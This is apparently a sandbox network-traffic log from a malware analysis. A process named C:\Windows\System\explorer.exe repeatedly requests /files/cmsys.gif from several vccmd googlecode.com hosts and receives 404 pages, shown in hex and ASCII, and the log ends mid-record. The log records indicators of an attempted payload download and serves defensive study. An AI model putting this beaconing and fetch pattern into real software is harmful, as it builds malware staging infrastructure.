Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	64874	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:14:18.312983990 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:14:19.030818939 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:14:18 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:14:19.030860901 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	64882	64.233.184.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:14:21.586918116 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:14:22.307805061 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:14:22 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:14:22.307837963 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	64883	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:14:22.724083900 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:14:23.595453978 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:14:23 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:14:23.595479012 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	64884	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:14:24.583368063 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:14:25.292859077 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:14:25 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:14:25.292881966 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	64886	64.233.184.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:14:27.718352079 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:14:28.451669931 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:14:28 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:14:28.451699018 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	64887	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:14:28.801660061 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:14:29.528273106 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:14:29 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:14:29.528311014 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	64888	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:14:29.914607048 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:14:30.625318050 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:14:30 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:14:30.625345945 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	64890	64.233.184.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:14:34.101705074 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:14:34.823453903 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:14:34 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 